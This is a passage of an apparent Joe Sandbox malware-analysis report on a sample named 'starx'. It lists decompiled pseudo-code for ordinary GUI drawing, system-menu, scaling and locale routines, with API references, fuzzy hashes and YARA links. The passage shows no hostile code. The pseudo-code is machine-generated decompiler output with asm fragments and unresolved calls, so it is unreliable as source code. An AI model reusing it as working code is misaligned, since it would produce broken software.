								E0043B3F8(_t162,  *((intOrPtr*)(_t136 + 0x44)),  *((intOrPtr*)(_t136 + 0x40)));
								IntersectClipRect(_t162, 0, 0,  *(_t136 + 0x48),  *(_t136 + 0x4c));
								E0043DC70(_t136, _t162, 0xf, 0);
								RestoreDC(_t162, _v80);
								 *(_t136 + 0x54) =  *(_t136 + 0x54) & 0x0000ff7f;
							}
						}
						_t160 = _t160 + 1;
					} while (_t160 < _v60.top);
				}
			}

0x004410b4
0x004410b7
0x004410b9
0x004410bb
0x004410c4
0x004410e2
0x004410e2
0x004410e5
0x004410ed
0x004411d2
0x004411d2
0x004411da
0x004412df
0x004412df
0x004412df
0x004411e3
0x004411e6
0x00000000
0x00000000
0x004411ed
0x004411f1
0x004411f3
0x004411fb
0x00441200
0x00441209
0x00441243
0x00441266
0x00441271
0x0044127b
0x00441290
0x004412b3
0x004412be
0x004412c8
0x004412c8
0x004412cd
0x004412ce
0x004412ce
0x004412ce
0x00000000
0x004411f3
0x004410f3
0x004410f7
0x00441100
0x00441104
0x00441106
0x00441106
0x00441104
0x00441111
0x00441117
0x0044111d
0x0044112a
0x00441130
0x0044115e
0x00441170
0x00441176
0x00441178
0x00441178
0x00441184
0x00441190
0x004411a2
0x004411b2
0x004411bd
0x004411c2
0x004411c2
0x00441170
0x004411c8
0x004411c9
0x0044111d

APIs

RectVisible.GDI32(?,?), ref: 00441169
SaveDC.GDI32(?), ref: 0044117F
IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 004411A2
RestoreDC.GDI32(?,?), ref: 004411BD
CreateSolidBrush.GDI32(00000000), ref: 0044123E
FrameRect.USER32 ref: 00441271
DeleteObject.GDI32(?), ref: 0044127B
CreateSolidBrush.GDI32(00000000), ref: 0044128B
FrameRect.USER32 ref: 004412BE
DeleteObject.GDI32(?), ref: 004412C8

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
String ID:
API String ID: 375863564-0
Opcode ID: a19c3f45049ffcf8a91a6f0d797abd36354eb940a7157742df8dd19f763d7f7f
Instruction ID: 0d4ad2ee4eca4fa9ebcdd3c654c4db815d334104dfe9261ad4b964b883d010ee
Opcode Fuzzy Hash: a19c3f45049ffcf8a91a6f0d797abd36354eb940a7157742df8dd19f763d7f7f
Instruction Fuzzy Hash: 4E514F712042449FEB14EF69C8C4B5B77E8AF48308F04449EFE85DB296E779E885CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0042F0C4, Relevance: 15.1, APIs: 10, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E0042F0C4(intOrPtr* __eax) {
				intOrPtr* _v8;
				struct HDC__* _v12;
				struct tagRECT _v28;
				struct HDC__* _t36;
				void* _t72;
				void* _t77;
				intOrPtr _t82;
				intOrPtr _t85;
				void* _t88;
				void* _t90;
				void* _t92;
				intOrPtr _t93;

				_t90 = _t92;
				_t93 = _t92 + 0xffffffe8;
				_v8 = __eax;
				if(( *(_v8 + 0x1c) & 0x00000010) == 0) {
					return E00444098(_v8, _t82);
				} else {
					_push(0x13);
					_push(0);
					_t36 = E004432A4(_v8);
					_push(_t36);
					L004065E4();
					_v12 = _t36;
					_push(_t90);
					_push(0x42f1bb);
					_push( *[fs:eax]);
					 *[fs:eax] = _t93;
					GetWindowRect(E004432A4(_v8),  &_v28);
					E00405E7C( &_v28,  ~(_v28.top),  ~(_v28.left));
					ExcludeClipRect(_v12, _v28.left + 1, _v28.top + 1, _v28.right - 1, _v28.bottom - 1);
					_t77 = CreatePen(1, 1, 0);
					_t88 = SelectObject(_v12, _t77);
					SetBkColor(_v12, E0041C5CC( *((intOrPtr*)(_v8 + 0x70))));
					Rectangle(_v12, _v28, _v28.top, _v28.right, _v28.bottom);
					if(_t88 != 0) {
						SelectObject(_v12, _t88);
					}
					DeleteObject(_t77);
					_pop(_t85);
					 *[fs:eax] = _t85;
					_push(0x42f1ca);
					_push(_v12);
					_t72 = E004432A4(_v8);
					_push(_t72);
					L0040681C();
					return _t72;
				}
			}

0x0042f0c5
0x0042f0c7
0x0042f0cc
0x0042f0d6
0x0042f1cf
0x0042f0dc
0x0042f0dc
0x0042f0de
0x0042f0e3
0x0042f0e8
0x0042f0e9
0x0042f0ee
0x0042f0f3
0x0042f0f4
0x0042f0f9
0x0042f0fc
0x0042f10c
0x0042f11e
0x0042f13b
0x0042f14b
0x0042f157
0x0042f169
0x0042f182
0x0042f189
0x0042f190
0x0042f190
0x0042f196
0x0042f19d
0x0042f1a0
0x0042f1a3
0x0042f1ab
0x0042f1af
0x0042f1b4
0x0042f1b5
0x0042f1ba
0x0042f1ba

APIs

739EACE0.USER32(00000000,00000000,00000013), ref: 0042F0E9
GetWindowRect.USER32 ref: 0042F10C
ExcludeClipRect.GDI32(?,?,?,?,?,00000000,?,00000000,0042F1BB,?,00000000,00000000,00000013), ref: 0042F13B
CreatePen.GDI32(00000001,00000001,00000000), ref: 0042F146
SelectObject.GDI32(?,00000000), ref: 0042F152

Part of subcall function 0041C5CC: GetSysColor.USER32(?), ref: 0041C5D6

SetBkColor.GDI32(?,00000000), ref: 0042F169
Rectangle.GDI32(?,?,?,?,?), ref: 0042F182
SelectObject.GDI32(?,00000000), ref: 0042F190
DeleteObject.GDI32(00000000), ref: 0042F196
739EB380.USER32(00000000,?,0042F1CA,?,?,?,?,00000000,?,00000000,?,?,?,?,?,00000000), ref: 0042F1B5

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Object$ColorRectSelect$B380ClipCreateDeleteExcludeRectangleWindow
String ID:
API String ID: 313503559-0
Opcode ID: 297dd72f7768c53f62d7b32d4d6f98cd68830d4961a07cd737be95b698518204
Instruction ID: a88238c060ccc7378bbed3afb882d1f2ec77690fb6835c92277b3f39a62b1ccb
Opcode Fuzzy Hash: 297dd72f7768c53f62d7b32d4d6f98cd68830d4961a07cd737be95b698518204
Instruction Fuzzy Hash: CF310271A00108BFDB40EBE9DC82EAEB7FCEF08704F5104A6B505F7281C6799E508B64

Uniqueness

Uniqueness Score: -1.00%

Function 0045810C, Relevance: 15.1, APIs: 10, Instructions: 74
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0045810C(intOrPtr _a4) {
				intOrPtr _t27;
				struct HMENU__* _t48;

				_t27 =  *((intOrPtr*)(_a4 - 4));
				if( *((char*)(_t27 + 0x229)) != 0) {
					_t27 =  *((intOrPtr*)(_a4 - 4));
					if(( *(_t27 + 0x228) & 0x00000001) != 0) {
						_t27 =  *((intOrPtr*)(_a4 - 4));
						if( *((char*)(_t27 + 0x22f)) != 1) {
							_t48 = GetSystemMenu(E004432A4( *((intOrPtr*)(_a4 - 4))), 0);
							if( *((char*)( *((intOrPtr*)(_a4 - 4)) + 0x229)) == 3) {
								DeleteMenu(_t48, 0xf130, 0);
								DeleteMenu(_t48, 7, 0x400);
								DeleteMenu(_t48, 5, 0x400);
								DeleteMenu(_t48, 0xf030, 0);
								DeleteMenu(_t48, 0xf020, 0);
								DeleteMenu(_t48, 0xf000, 0);
								return DeleteMenu(_t48, 0xf120, 0);
							}
							if(( *( *((intOrPtr*)(_a4 - 4)) + 0x228) & 0x00000002) == 0) {
								EnableMenuItem(_t48, 0xf020, 1);
							}
							_t27 =  *((intOrPtr*)(_a4 - 4));
							if(( *(_t27 + 0x228) & 0x00000004) == 0) {
								return EnableMenuItem(_t48, 0xf030, 1);
							}
						}
					}
				}
				return _t27;
			}

0x00458113
0x0045811d
0x00458126
0x00458130
0x00458139
0x00458143
0x0045815c
0x0045816b
0x00458175
0x00458182
0x0045818f
0x0045819c
0x004581a9
0x004581b6
0x00000000
0x004581c3
0x004581d7
0x004581e1
0x004581e1
0x004581e9
0x004581f3
0x00000000
0x004581fd
0x004581f3
0x00458143
0x00458130
0x00458204

APIs

GetSystemMenu.USER32(00000000,00000000), ref: 00458157
DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 00458175
DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00458182
DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 0045818F
DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 0045819C
DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 004581A9
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 004581B6
DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 004581C3
EnableMenuItem.USER32 ref: 004581E1
EnableMenuItem.USER32 ref: 004581FD

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Menu$Delete$EnableItem$System
String ID:
API String ID: 3985193851-0
Opcode ID: 5514b7fc73e345538bc59e3396bff52f50c4c4526c952e492e8c329bbddc28cf
Instruction ID: 2a21816002821190d91fd64a9e73defaaec9070227769fa6d78f5a29ecd65386
Opcode Fuzzy Hash: 5514b7fc73e345538bc59e3396bff52f50c4c4526c952e492e8c329bbddc28cf
Instruction Fuzzy Hash: DF215070341704BBE331AB64CD8FF597BD85B04B19F1580AABA457F2D3CAB9E990860C

Uniqueness

Uniqueness Score: -1.00%

Function 0043C6D8, Relevance: 13.6, APIs: 9, Instructions: 150
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043C6D8(intOrPtr* __eax, int __ecx, int __edx) {
				char _t62;
				signed int _t64;
				signed int _t65;
				signed char _t107;
				intOrPtr _t113;
				intOrPtr _t114;
				int _t117;
				intOrPtr* _t118;
				int _t119;
				int* _t121;

				 *_t121 = __ecx;
				_t117 = __edx;
				_t118 = __eax;
				if(__edx ==  *_t121) {
					L29:
					_t62 =  *0x43c884; // 0x0
					 *((char*)(_t118 + 0x98)) = _t62;
					return _t62;
				}
				if(( *(__eax + 0x1c) & 0x00000001) == 0) {
					_t107 =  *0x43c87c; // 0x1f
				} else {
					_t107 =  *((intOrPtr*)(__eax + 0x98));
				}
				if((_t107 & 0x00000001) == 0) {
					_t119 =  *(_t118 + 0x40);
				} else {
					_t119 = MulDiv( *(_t118 + 0x40), _t117,  *_t121);
				}
				if((_t107 & 0x00000002) == 0) {
					_t121[1] =  *(_t118 + 0x44);
				} else {
					_t121[1] = MulDiv( *(_t118 + 0x44), _t117,  *_t121);
				}
				if((_t107 & 0x00000004) == 0 || ( *(_t118 + 0x51) & 0x00000001) != 0) {
					_t64 =  *(_t118 + 0x48);
					_t121[2] = _t64;
				} else {
					if((_t107 & 0x00000001) == 0) {
						_t64 = MulDiv( *(_t118 + 0x48), _t117,  *_t121);
						_t121[2] = _t64;
					} else {
						_t64 = MulDiv( *(_t118 + 0x40) +  *(_t118 + 0x48), _t117,  *_t121) - _t119;
						_t121[2] = _t64;
					}
				}
				_t65 = _t64 & 0xffffff00 | (_t107 & 0x00000008) != 0x00000000;
				if(_t65 == 0 || ( *(_t118 + 0x51) & 0x00000002) != 0) {
					_t121[3] =  *(_t118 + 0x4c);
				} else {
					if(_t65 == 0) {
						_t121[3] = MulDiv( *(_t118 + 0x44), _t117,  *_t121);
					} else {
						_t121[3] = MulDiv( *(_t118 + 0x44) +  *(_t118 + 0x4c), _t117,  *_t121) - _t121[1];
					}
				}
				 *((intOrPtr*)( *_t118 + 0x84))(_t121[4], _t121[2]);
				_t113 =  *0x43c884; // 0x0
				if(_t113 != (_t107 &  *0x43c880)) {
					 *(_t118 + 0x90) = MulDiv( *(_t118 + 0x90), _t117,  *_t121);
				}
				_t114 =  *0x43c884; // 0x0
				if(_t114 != (_t107 &  *0x43c888)) {
					 *(_t118 + 0x94) = MulDiv( *(_t118 + 0x94), _t117,  *_t121);
				}
				if( *((char*)(_t118 + 0x59)) == 0 && (_t107 & 0x00000010) != 0) {
					E0041CD2C( *((intOrPtr*)(_t118 + 0x68)), MulDiv(E0041CD10( *((intOrPtr*)(_t118 + 0x68))), _t117,  *_t121));
				}
				goto L29;
			}

0x0043c6df
0x0043c6e2
0x0043c6e4
0x0043c6e9
0x0043c866
0x0043c866
0x0043c86b
0x0043c878
0x0043c878
0x0043c6f3
0x0043c6fd
0x0043c6f5
0x0043c6f5
0x0043c6f5
0x0043c706
0x0043c71a
0x0043c708
0x0043c716
0x0043c716
0x0043c720
0x0043c739
0x0043c722
0x0043c730
0x0043c730
0x0043c740
0x0043c77a
0x0043c77d
0x0043c748
0x0043c74b
0x0043c76f
0x0043c774
0x0043c74d
0x0043c75e
0x0043c760
0x0043c760
0x0043c74b
0x0043c784
0x0043c789
0x0043c7cd
0x0043c791
0x0043c799
0x0043c7c4
0x0043c79b
0x0043c7b0
0x0043c7b0
0x0043c799
0x0043c7e5
0x0043c7f3
0x0043c7fb
0x0043c80e
0x0043c80e
0x0043c81c
0x0043c824
0x0043c837
0x0043c837
0x0043c841
0x0043c861
0x0043c861
0x00000000

APIs

MulDiv.KERNEL32(?,?,?), ref: 0043C711
MulDiv.KERNEL32(?,?,?), ref: 0043C72B
MulDiv.KERNEL32(?,?,?), ref: 0043C759
MulDiv.KERNEL32(?,?,?), ref: 0043C76F
MulDiv.KERNEL32(?,?,?), ref: 0043C7A7
MulDiv.KERNEL32(?,?,?), ref: 0043C7BF
MulDiv.KERNEL32(?,?,0000001F), ref: 0043C809
MulDiv.KERNEL32(?,?,0000001F), ref: 0043C832
MulDiv.KERNEL32(00000000,?,0000001F), ref: 0043C858

Part of subcall function 0041CD2C: MulDiv.KERNEL32(00000000,?,00000048), ref: 0041CD39

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e67814c6dcc94bd8b41407fb7fc2463d3985157aba44a1738774a3a69cfa599d
Instruction ID: 2ea484df8ef1f9afe0518c3a4e55856f00050c8c2b23c1dc0d5609c6fb229bc3
Opcode Fuzzy Hash: e67814c6dcc94bd8b41407fb7fc2463d3985157aba44a1738774a3a69cfa599d
Instruction Fuzzy Hash: 39515B71604341AFD320EF79C885B6BB7E9AF49744F04582EB9D6D7352C339E8408B69

Uniqueness

Uniqueness Score: -1.00%

Function 0043D578, Relevance: 13.6, APIs: 9, Instructions: 122
windowCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0043D578(void* __ebx, char __ecx, intOrPtr* __edx, void* __edi, void* __esi) {
				char _v5;
				struct HDC__* _v12;
				struct HDC__* _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				int _v32;
				int _v36;
				struct HDC__* _t33;
				intOrPtr _t72;
				int _t74;
				intOrPtr _t80;
				int _t83;
				void* _t88;
				int _t89;
				void* _t92;
				void* _t93;
				intOrPtr _t94;

				_t92 = _t93;
				_t94 = _t93 + 0xffffffe0;
				_v5 = __ecx;
				_t74 =  *((intOrPtr*)( *__edx + 0x38))();
				if(_v5 == 0) {
					_push(__edx);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_pop(_t88);
				} else {
					_push(__edx);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_pop(_t88);
				}
				_v12 = GetDesktopWindow();
				_push(0x402);
				_push(0);
				_t33 = _v12;
				_push(_t33);
				L004065E4();
				_v16 = _t33;
				_push(_t92);
				_push(0x43d693);
				_push( *[fs:eax]);
				 *[fs:eax] = _t94;
				_v20 = SelectObject(_v16, E0041D28C( *((intOrPtr*)(_t88 + 0x40))));
				_t89 = _v36;
				_t83 = _v32;
				PatBlt(_v16, _t89 + _t74, _t83, _v28 - _t89 - _t74, _t74, 0x5a0049);
				PatBlt(_v16, _v28 - _t74, _t83 + _t74, _t74, _v24 - _t83 - _t74, 0x5a0049);
				PatBlt(_v16, _t89, _v24 - _t74, _v28 - _v36 - _t74, _t74, 0x5a0049);
				PatBlt(_v16, _t89, _t83, _t74, _v24 - _v32 - _t74, 0x5a0049);
				SelectObject(_v16, _v20);
				_pop(_t80);
				 *[fs:eax] = _t80;
				_push(0x43d69a);
				_push(_v16);
				_t72 = _v12;
				_push(_t72);
				L0040681C();
				return _t72;
			}

0x0043d579
0x0043d57b
0x0043d581
0x0043d58d
0x0043d593
0x0043d5a3
0x0043d5aa
0x0043d5ab
0x0043d5ac
0x0043d5ad
0x0043d5ae
0x0043d595
0x0043d595
0x0043d59c
0x0043d59d
0x0043d59e
0x0043d59f
0x0043d5a0
0x0043d5a0
0x0043d5b4
0x0043d5b7
0x0043d5bc
0x0043d5be
0x0043d5c1
0x0043d5c2
0x0043d5c7
0x0043d5cc
0x0043d5cd
0x0043d5d2
0x0043d5d5
0x0043d5ea
0x0043d5f6
0x0043d5fe
0x0043d60b
0x0043d62d
0x0043d64c
0x0043d666
0x0043d673
0x0043d67a
0x0043d67d
0x0043d680
0x0043d688
0x0043d689
0x0043d68c
0x0043d68d
0x0043d692

APIs

GetDesktopWindow.USER32 ref: 0043D5AF
739EACE0.USER32(?,00000000,00000402), ref: 0043D5C2
SelectObject.GDI32(?,00000000), ref: 0043D5E5
PatBlt.GDI32(?,?,?,?,00000000,005A0049), ref: 0043D60B
PatBlt.GDI32(?,?,?,00000000,?,005A0049), ref: 0043D62D
PatBlt.GDI32(?,?,?,?,00000000,005A0049), ref: 0043D64C
PatBlt.GDI32(?,?,?,00000000,?,005A0049), ref: 0043D666
SelectObject.GDI32(?,?), ref: 0043D673
739EB380.USER32(?,?,0043D69A,?,?,00000000,?,005A0049,?,?,?,?,00000000,005A0049,?,?), ref: 0043D68D

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: ObjectSelect$B380DesktopWindow
String ID:
API String ID: 989747725-0
Opcode ID: b5f1fd7303a2b6f6d74e4ace5babda4e1440a8af6947a9f0a04babfa52f1e3a8
Instruction ID: efca46e911f2b4dc9110bfba4a06d4aa8a688c5632ff09a4dea6297ac6e48679
Opcode Fuzzy Hash: b5f1fd7303a2b6f6d74e4ace5babda4e1440a8af6947a9f0a04babfa52f1e3a8
Instruction Fuzzy Hash: EA3108B2E00219BFDB00DEEDDC85DAFBBBCAF09704B014469B914F7241C679AD008BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040C720, Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201
threadCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040C720(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				void* _t104;
				void* _t111;
				void* _t133;
				intOrPtr _t183;
				intOrPtr _t193;
				intOrPtr _t194;

				_t191 = __esi;
				_t190 = __edi;
				_t193 = _t194;
				_t133 = 8;
				do {
					_push(0);
					_push(0);
					_t133 = _t133 - 1;
				} while (_t133 != 0);
				_push(__ebx);
				_push(_t193);
				_push(0x40c9eb);
				_push( *[fs:eax]);
				 *[fs:eax] = _t194;
				E0040C5AC();
				E0040AECC(__ebx, __edi, __esi);
				_t196 =  *0x47f74c;
				if( *0x47f74c != 0) {
					E0040B0A4(__esi, _t196);
				}
				_t132 = GetThreadLocale();
				E0040AE1C(_t43, 0, 0x14,  &_v20);
				E00404014(0x47f680, _v20);
				E0040AE1C(_t43, 0x40ca00, 0x1b,  &_v24);
				 *0x47f684 = E00408068(0x40ca00, 0, _t196);
				E0040AE1C(_t132, 0x40ca00, 0x1c,  &_v28);
				 *0x47f685 = E00408068(0x40ca00, 0, _t196);
				 *0x47f686 = E0040AE68(_t132, 0x2c, 0xf);
				 *0x47f687 = E0040AE68(_t132, 0x2e, 0xe);
				E0040AE1C(_t132, 0x40ca00, 0x19,  &_v32);
				 *0x47f688 = E00408068(0x40ca00, 0, _t196);
				 *0x47f689 = E0040AE68(_t132, 0x2f, 0x1d);
				E0040AE1C(_t132, "m/d/yy", 0x1f,  &_v40);
				E0040B154(_v40, _t132,  &_v36, _t190, _t191, _t196);
				E00404014(0x47f68c, _v36);
				E0040AE1C(_t132, "mmmm d, yyyy", 0x20,  &_v48);
				E0040B154(_v48, _t132,  &_v44, _t190, _t191, _t196);
				E00404014(0x47f690, _v44);
				 *0x47f694 = E0040AE68(_t132, 0x3a, 0x1e);
				E0040AE1C(_t132, 0x40ca34, 0x28,  &_v52);
				E00404014(0x47f698, _v52);
				E0040AE1C(_t132, 0x40ca40, 0x29,  &_v56);
				E00404014(0x47f69c, _v56);
				E00403FC0( &_v12);
				E00403FC0( &_v16);
				E0040AE1C(_t132, 0x40ca00, 0x25,  &_v60);
				_t104 = E00408068(0x40ca00, 0, _t196);
				_t197 = _t104;
				if(_t104 != 0) {
					E00404058( &_v8, 0x40ca58);
				} else {
					E00404058( &_v8, 0x40ca4c);
				}
				E0040AE1C(_t132, 0x40ca00, 0x23,  &_v64);
				_t111 = E00408068(0x40ca00, 0, _t197);
				_t198 = _t111;
				if(_t111 == 0) {
					E0040AE1C(_t132, 0x40ca00, 0x1005,  &_v68);
					if(E00408068(0x40ca00, 0, _t198) != 0) {
						E00404058( &_v12, 0x40ca74);
					} else {
						E00404058( &_v16, 0x40ca64);
					}
				}
				_push(_v12);
				_push(_v8);
				_push(":mm");
				_push(_v16);
				E00404340();
				_push(_v12);
				_push(_v8);
				_push(":mm:ss");
				_push(_v16);
				E00404340();
				 *0x47f74e = E0040AE68(_t132, 0x2c, 0xc);
				_pop(_t183);
				 *[fs:eax] = _t183;
				_push(E0040C9F2);
				return E00403FE4( &_v68, 0x10);
			}

0x0040c720
0x0040c720
0x0040c721
0x0040c723
0x0040c728
0x0040c728
0x0040c72a
0x0040c72c
0x0040c72c
0x0040c72f
0x0040c732
0x0040c733
0x0040c738
0x0040c73b
0x0040c73e
0x0040c743
0x0040c748
0x0040c74f
0x0040c751
0x0040c751
0x0040c75b
0x0040c76a
0x0040c777
0x0040c78c
0x0040c79b
0x0040c7b0
0x0040c7bf
0x0040c7d2
0x0040c7e5
0x0040c7fa
0x0040c809
0x0040c81c
0x0040c831
0x0040c83c
0x0040c849
0x0040c85e
0x0040c869
0x0040c876
0x0040c889
0x0040c89e
0x0040c8ab
0x0040c8c0
0x0040c8cd
0x0040c8d5
0x0040c8dd
0x0040c8f2
0x0040c8fc
0x0040c901
0x0040c903
0x0040c91c
0x0040c905
0x0040c90d
0x0040c90d
0x0040c931
0x0040c93b
0x0040c940
0x0040c942
0x0040c954
0x0040c965
0x0040c97e
0x0040c967
0x0040c96f
0x0040c96f
0x0040c965
0x0040c983
0x0040c986
0x0040c989
0x0040c98e
0x0040c99b
0x0040c9a0
0x0040c9a3
0x0040c9a6
0x0040c9ab
0x0040c9b8
0x0040c9cb
0x0040c9d2
0x0040c9d5
0x0040c9d8
0x0040c9ea

APIs

GetThreadLocale.KERNEL32(00000000,0040C9EB,?,?,00000000,00000000), ref: 0040C756

Part of subcall function 0040AE1C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0040AE3A

Strings

:mm, xrefs: 0040C989
AMPM , xrefs: 0040C979
:mm:ss, xrefs: 0040C9A6
mmmm d, yyyy, xrefs: 0040C852
m/d/yy, xrefs: 0040C825
AMPM, xrefs: 0040C96A

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 45bcab075015857585c35a94084f4cdb205a3ffc1882e0e52f2b0e9b3a266d22
Instruction ID: 5b5a5e286dd8a94a284624c201af3ba5b3447db2b7f31c389278ccf63ea48cca
Opcode Fuzzy Hash: 45bcab075015857585c35a94084f4cdb205a3ffc1882e0e52f2b0e9b3a266d22
Instruction Fuzzy Hash: 5A612D707402489BDB00EBB5C88169E76A6DB88304F64953BB201BB3D6CA3CDD1A9B5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC4C, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040EC4C(short* __eax, intOrPtr __ecx, intOrPtr* __edx) {
				char _v260;
				char _v768;
				char _v772;
				short* _v776;
				intOrPtr _v780;
				char _v784;
				signed int _v788;
				signed short* _v792;
				char _v796;
				char _v800;
				intOrPtr* _v804;
				void* __ebp;
				signed char _t47;
				signed int _t54;
				void* _t62;
				intOrPtr* _t73;
				intOrPtr* _t91;
				void* _t93;
				void* _t95;
				void* _t98;
				void* _t99;
				intOrPtr* _t108;
				void* _t112;
				intOrPtr _t113;
				char* _t114;
				void* _t115;

				_t100 = __ecx;
				_v780 = __ecx;
				_t91 = __edx;
				_v776 = __eax;
				if(( *(__edx + 1) & 0x00000020) == 0) {
					E0040E878(0x80070057);
				}
				_t47 =  *_t91;
				if((_t47 & 0x00000fff) != 0xc) {
					_push(_t91);
					_push(_v776);
					L0040D62C();
					return E0040E878(_v776);
				} else {
					if((_t47 & 0x00000040) == 0) {
						_v792 =  *((intOrPtr*)(_t91 + 8));
					} else {
						_v792 =  *((intOrPtr*)( *((intOrPtr*)(_t91 + 8))));
					}
					_v788 =  *_v792 & 0x0000ffff;
					_t93 = _v788 - 1;
					if(_t93 < 0) {
						L9:
						_push( &_v772);
						_t54 = _v788;
						_push(_t54);
						_push(0xc);
						L0040DA80();
						_t113 = _t54;
						if(_t113 == 0) {
							E0040E5D0(_t100);
						}
						E0040EBA4(_v776);
						 *_v776 = 0x200c;
						 *((intOrPtr*)(_v776 + 8)) = _t113;
						_t95 = _v788 - 1;
						if(_t95 < 0) {
							L14:
							_t97 = _v788 - 1;
